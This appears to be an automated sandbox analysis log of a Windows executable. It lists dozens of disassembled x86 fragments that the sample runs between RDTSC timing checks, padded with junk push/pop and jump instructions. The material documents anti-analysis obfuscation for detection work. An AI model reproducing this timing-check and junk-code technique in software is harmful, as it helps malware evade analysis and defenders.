Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B053A second address: 70B05DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b mov bx, ax 0x0000000e popad 0x0000000f test esi, esi 0x00000011 jmp 00007FB39CDCA217h 0x00000016 je 00007FB40BF5934Ch 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FB39CDCA214h 0x00000023 xor ch, 00000068h 0x00000026 jmp 00007FB39CDCA20Bh 0x0000002b popfd 0x0000002c mov si, 3A5Fh 0x00000030 popad 0x00000031 sub eax, eax 0x00000033 pushad 0x00000034 mov eax, edi 0x00000036 mov bl, 61h 0x00000038 popad 0x00000039 mov dword ptr [esi], edi 0x0000003b jmp 00007FB39CDCA214h 0x00000040 mov dword ptr [esi+04h], eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007FB39CDCA20Dh 0x0000004c and ah, FFFFFFE6h 0x0000004f jmp 00007FB39CDCA211h 0x00000054 popfd 0x00000055 mov ah, 72h 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B05DC second address: 70B05E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B05E2 second address: 70B05E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B05E6 second address: 70B05EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B05EA second address: 70B05FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B05FB second address: 70B05FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B05FF second address: 70B0605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0605 second address: 70B060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B060B second address: 70B060F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B060F second address: 70B0642 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+0Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, AADAh 0x00000012 pushfd 0x00000013 jmp 00007FB39CE8BFCBh 0x00000018 jmp 00007FB39CE8BFD3h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0642 second address: 70B06C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB39CDCA20Fh 0x00000009 sub ax, EDDEh 0x0000000e jmp 00007FB39CDCA219h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FB39CDCA210h 0x0000001a add cx, 85D8h 0x0000001f jmp 00007FB39CDCA20Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 mov eax, dword ptr [ebx+4Ch] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007FB39CDCA20Bh 0x00000033 jmp 00007FB39CDCA218h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B06C3 second address: 70B0705 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+10h], eax 0x0000000c jmp 00007FB39CE8BFD6h 0x00000011 mov eax, dword ptr [ebx+50h] 0x00000014 jmp 00007FB39CE8BFD0h 0x00000019 mov dword ptr [esi+14h], eax 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0705 second address: 70B07A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [ebx+54h] 0x0000000b pushad 0x0000000c mov si, di 0x0000000f mov si, di 0x00000012 popad 0x00000013 mov dword ptr [esi+18h], eax 0x00000016 jmp 00007FB39CDCA20Fh 0x0000001b mov eax, dword ptr [ebx+58h] 0x0000001e jmp 00007FB39CDCA216h 0x00000023 mov dword ptr [esi+1Ch], eax 0x00000026 jmp 00007FB39CDCA210h 0x0000002b mov eax, dword ptr [ebx+5Ch] 0x0000002e jmp 00007FB39CDCA210h 0x00000033 mov dword ptr [esi+20h], eax 0x00000036 pushad 0x00000037 mov edi, ecx 0x00000039 pushfd 0x0000003a jmp 00007FB39CDCA20Ah 0x0000003f sbb esi, 4CD83348h 0x00000045 jmp 00007FB39CDCA20Bh 0x0000004a popfd 0x0000004b popad 0x0000004c mov eax, dword ptr [ebx+60h] 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FB39CDCA215h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B07A7 second address: 70B07D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+24h], eax 0x0000000c jmp 00007FB39CE8BFCEh 0x00000011 mov eax, dword ptr [ebx+64h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B07D6 second address: 70B07F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B07F3 second address: 70B0873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+28h], eax 0x0000000c jmp 00007FB39CE8BFCEh 0x00000011 mov eax, dword ptr [ebx+68h] 0x00000014 jmp 00007FB39CE8BFD0h 0x00000019 mov dword ptr [esi+2Ch], eax 0x0000001c pushad 0x0000001d call 00007FB39CE8BFCEh 0x00000022 jmp 00007FB39CE8BFD2h 0x00000027 pop ecx 0x00000028 pushad 0x00000029 jmp 00007FB39CE8BFD1h 0x0000002e mov si, 6D07h 0x00000032 popad 0x00000033 popad 0x00000034 mov ax, word ptr [ebx+6Ch] 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0873 second address: 70B0877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0877 second address: 70B087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B087D second address: 70B088E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA20Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B088E second address: 70B08A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [esi+30h], ax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B08A0 second address: 70B08A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B08A4 second address: 70B08AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B08AA second address: 70B0956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, word ptr [ebx+00000088h] 0x00000010 pushad 0x00000011 jmp 00007FB39CDCA20Ch 0x00000016 pushfd 0x00000017 jmp 00007FB39CDCA212h 0x0000001c or cl, FFFFFFA8h 0x0000001f jmp 00007FB39CDCA20Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov word ptr [esi+32h], ax 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FB39CDCA214h 0x00000031 sub cx, BB08h 0x00000036 jmp 00007FB39CDCA20Bh 0x0000003b popfd 0x0000003c pushfd 0x0000003d jmp 00007FB39CDCA218h 0x00000042 or ah, 00000068h 0x00000045 jmp 00007FB39CDCA20Bh 0x0000004a popfd 0x0000004b popad 0x0000004c mov eax, dword ptr [ebx+0000008Ch] 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0956 second address: 70B0971 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0971 second address: 70B0989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0989 second address: 70B098D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B098D second address: 70B09F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+34h], eax 0x0000000b jmp 00007FB39CDCA217h 0x00000010 mov eax, dword ptr [ebx+18h] 0x00000013 jmp 00007FB39CDCA216h 0x00000018 mov dword ptr [esi+38h], eax 0x0000001b jmp 00007FB39CDCA210h 0x00000020 mov eax, dword ptr [ebx+1Ch] 0x00000023 jmp 00007FB39CDCA210h 0x00000028 mov dword ptr [esi+3Ch], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B09F7 second address: 70B09FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B09FB second address: 70B0A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0A01 second address: 70B0A83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+20h] 0x0000000c jmp 00007FB39CE8BFD0h 0x00000011 mov dword ptr [esi+40h], eax 0x00000014 jmp 00007FB39CE8BFD0h 0x00000019 lea eax, dword ptr [ebx+00000080h] 0x0000001f jmp 00007FB39CE8BFD0h 0x00000024 push 00000001h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FB39CE8BFCDh 0x0000002f sbb esi, 672D8E76h 0x00000035 jmp 00007FB39CE8BFD1h 0x0000003a popfd 0x0000003b push eax 0x0000003c pop edi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0A83 second address: 70B0B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FB39CDCA210h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FB39CDCA211h 0x00000017 add eax, 13D1A136h 0x0000001d jmp 00007FB39CDCA211h 0x00000022 popfd 0x00000023 mov si, AD27h 0x00000027 popad 0x00000028 nop 0x00000029 pushad 0x0000002a jmp 00007FB39CDCA218h 0x0000002f pushfd 0x00000030 jmp 00007FB39CDCA212h 0x00000035 xor cx, 12B8h 0x0000003a jmp 00007FB39CDCA20Bh 0x0000003f popfd 0x00000040 popad 0x00000041 lea eax, dword ptr [ebp-10h] 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007FB39CDCA214h 0x0000004b and ecx, 00CB4D18h 0x00000051 jmp 00007FB39CDCA20Bh 0x00000056 popfd 0x00000057 push eax 0x00000058 pop eax 0x00000059 popad 0x0000005a push edx 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e mov edi, ecx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0BE0 second address: 70B0C0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB39CE8BFD0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C0D second address: 70B0C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C1C second address: 70B0C48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 jmp 00007FB39CE8BFCBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d js 00007FB40C01AA5Ah 0x00000013 pushad 0x00000014 mov ecx, 1A3F701Bh 0x00000019 mov bx, ax 0x0000001c popad 0x0000001d mov eax, dword ptr [ebp-0Ch] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C48 second address: 70B0C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C4C second address: 70B0C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C52 second address: 70B0C6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C6D second address: 70B0C73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C73 second address: 70B0C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA20Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C82 second address: 70B0C86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0C86 second address: 70B0CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebx+78h] 0x0000000b jmp 00007FB39CDCA215h 0x00000010 push 00000001h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007FB39CDCA20Ah 0x0000001b adc eax, 4BED64D8h 0x00000021 jmp 00007FB39CDCA20Bh 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0CC8 second address: 70B0D4C instructions: 0x00000000 rdtsc 0x00000002 mov bl, al 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov edi, 7C09BDC6h 0x0000000c mov dx, F052h 0x00000010 popad 0x00000011 popad 0x00000012 push ebx 0x00000013 jmp 00007FB39CE8BFD6h 0x00000018 mov dword ptr [esp], eax 0x0000001b pushad 0x0000001c push ecx 0x0000001d pushfd 0x0000001e jmp 00007FB39CE8BFCDh 0x00000023 adc ah, FFFFFFD6h 0x00000026 jmp 00007FB39CE8BFD1h 0x0000002b popfd 0x0000002c pop eax 0x0000002d pushfd 0x0000002e jmp 00007FB39CE8BFD1h 0x00000033 sbb ax, 3736h 0x00000038 jmp 00007FB39CE8BFD1h 0x0000003d popfd 0x0000003e popad 0x0000003f lea eax, dword ptr [ebp-08h] 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 pop edi 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0D4C second address: 70B0D71 instructions: 0x00000000 rdtsc 0x00000002 call 00007FB39CDCA216h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ch, bl 0x0000000c popad 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0D71 second address: 70B0D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0D75 second address: 70B0D79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0D79 second address: 70B0D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0E4F second address: 70B0E76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+70h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB39CDCA20Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0E76 second address: 70B0ECC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000001h 0x0000000b jmp 00007FB39CE8BFCEh 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FB39CE8BFCDh 0x00000019 pop eax 0x0000001a pushfd 0x0000001b jmp 00007FB39CE8BFD1h 0x00000020 jmp 00007FB39CE8BFCBh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0ECC second address: 70B0EF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0EF0 second address: 70B0EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0EF4 second address: 70B0EFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0EFA second address: 70B0F69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FB39CE8BFD3h 0x00000013 adc ah, FFFFFFEEh 0x00000016 jmp 00007FB39CE8BFD9h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FB39CE8BFD0h 0x00000022 and ah, 00000068h 0x00000025 jmp 00007FB39CE8BFCBh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0F69 second address: 70B0F8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B0F8E second address: 70B0FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB39CE8BFD9h 0x0000000a sbb eax, 03ECEFE6h 0x00000010 jmp 00007FB39CE8BFD1h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1029 second address: 70B102F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B102F second address: 70B1033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1033 second address: 70B1098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edi, edi 0x0000000d jmp 00007FB39CDCA216h 0x00000012 js 00007FB40BF58855h 0x00000018 pushad 0x00000019 mov ecx, 490611DDh 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FB39CDCA218h 0x00000026 xor ax, 4F68h 0x0000002b jmp 00007FB39CDCA20Bh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1098 second address: 70B10F8 instructions: 0x00000000 rdtsc 0x00000002 mov ch, C1h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebp-14h] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB39CE8BFD1h 0x00000011 or al, FFFFFF86h 0x00000014 jmp 00007FB39CE8BFD1h 0x00000019 popfd 0x0000001a mov esi, 21057337h 0x0000001f popad 0x00000020 mov ecx, esi 0x00000022 jmp 00007FB39CE8BFCAh 0x00000027 mov dword ptr [esi+0Ch], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FB39CE8BFD7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B10F8 second address: 70B113D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, 762C06ECh 0x0000000e pushad 0x0000000f call 00007FB39CDCA20Ch 0x00000014 mov ecx, 05BD9B01h 0x00000019 pop esi 0x0000001a pushad 0x0000001b movsx edi, cx 0x0000001e push eax 0x0000001f pop edx 0x00000020 popad 0x00000021 popad 0x00000022 sub eax, eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B113D second address: 70B1157 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1157 second address: 70B1169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA20Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1169 second address: 70B116D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B116D second address: 70B1226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lock cmpxchg dword ptr [edx], ecx 0x0000000c jmp 00007FB39CDCA217h 0x00000011 pop edi 0x00000012 jmp 00007FB39CDCA216h 0x00000017 test eax, eax 0x00000019 pushad 0x0000001a mov ebx, esi 0x0000001c pushfd 0x0000001d jmp 00007FB39CDCA20Ah 0x00000022 sbb ax, 2268h 0x00000027 jmp 00007FB39CDCA20Bh 0x0000002c popfd 0x0000002d popad 0x0000002e jne 00007FB40BF58719h 0x00000034 jmp 00007FB39CDCA216h 0x00000039 mov edx, dword ptr [ebp+08h] 0x0000003c pushad 0x0000003d mov dh, al 0x0000003f mov eax, edx 0x00000041 popad 0x00000042 mov eax, dword ptr [esi] 0x00000044 jmp 00007FB39CDCA215h 0x00000049 mov dword ptr [edx], eax 0x0000004b jmp 00007FB39CDCA20Eh 0x00000050 mov eax, dword ptr [esi+04h] 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FB39CDCA20Ah 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1226 second address: 70B122A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B122A second address: 70B1230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1230 second address: 70B1254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+04h], eax 0x0000000c pushad 0x0000000d mov dx, cx 0x00000010 mov di, ax 0x00000013 popad 0x00000014 mov eax, dword ptr [esi+08h] 0x00000017 pushad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
